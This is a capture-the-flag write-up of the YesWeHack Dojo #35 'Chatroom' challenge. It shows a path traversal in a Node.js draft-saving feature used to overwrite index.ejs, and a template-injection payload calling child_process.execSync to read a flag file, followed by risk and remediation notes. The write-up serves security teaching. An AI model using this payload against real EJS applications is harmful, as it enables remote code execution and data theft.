YesWeHack Dojo 35 - Chatroom
My writeup of the YesWeHack #35 chatroom challenge.
In this post, I'll be describing the exploitation of the YesWeHack dojo #35, called Chatroom.
Description
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
In the context of this application, Dojo-35, the vulnerability lays in the fact that user input was being set as a filename, making it possible to path traverse. Abusing that, we could overwrite a file which was being imported and executed by the application, to gain Remote Code Execution on the target.
Exploitation
First of all, looking at the Message class in the code, we can see a variable being used to set a file path. The this.to
variable is used to set the file path name, whilst the this.msg
is being used to set the contents of the file:
class Message {
...
makeDraft() {
this.file = path.basename(`${Date.now()}_${this.to}`)
fs.writeFileSync(this.file, this.msg)
}
...
}
This path variable later gets read out by the getDraft()
function:
getDraft() {
return fs.readFileSync(this.file)
}
The this.to
variable gets set from a json object, which is the Dojo's input, which gets send to the Message
class:
const userData = decodeURIComponent("input")
var data = {"to":"", "msg":""}
if ( userData != "" ) {
try {
data = JSON.parse(userData)
} catch(err) {
console.error("Error : Message could not be sent!")
}
}
var message = new Message(data["to"], data["msg"])
Due to the to
variable being used in the path variable, it's possible to perform a path traversal, with for example the following payload: a/../../../../../../../../tmp/flag.txt
However, when setting this as the to
input variable, it simply overwrites the flag file, rendering it useless for us.
To further abuse this path traversal vulnerability, we can abuse the last line of the dojo:
console.log( ejs.render(fs.readFileSync('index.ejs', 'utf8'), {message: message.msg}) )
This piece of code imports the ./index.ejs
file, and "renders" it with ejs. The contents of the file gets set with the msg
input variable. Glueing this together, we can path traverse to ./index.js
, and set the contents of the file to be a EJS payload which reads out the flag file, by executing a system command.
PoC||gtfo
My Proof of Concept payload is the following:
{"to":"a/../index.ejs", "msg":"<%=global.process.mainModule.constructor._load(`child_process`).execSync(`cat /tmp/flag.txt`).toString()%>"}
So we use the to
input variable to path traverse over to the ./index.ejs
file, and set the contents of that file to some executable EJS script, to gain command execution on the application.
This Proof of Concept payload cats out the /tmp/flag.txt
file:
FLAG{W1th_Cr34t1vity_C0m3s_RCE!!}
Risk
The risk of Remote Code Execution, are, and not limited to: data theft, system compromise, denial of service, reputation damage.
These risks can lead to significant financial loss, operational disruption, and legal consequences. RCE vulnerabilities can be exploited by attackers to gain unauthorized access to sensitive information, take control of systems, disrupt services, and damage an organization's reputation.
Remediation
To remedate this vulnerable, there are a few options:
- You can set a server side check whether the
to
input variable only contains letters and numbers, for example this regex check:[a-zA-Z0-9_-]*
- Instead of writing data to a file, write it to a database, like Mysql or PostgreSQL, however, you should make sure to prevent SQL injections if you choose for this method
- You can save the draft message client side, on the user's browser. This way, this vulnerability wouldn't exist, and you save bandwidth.
Thanks for reading!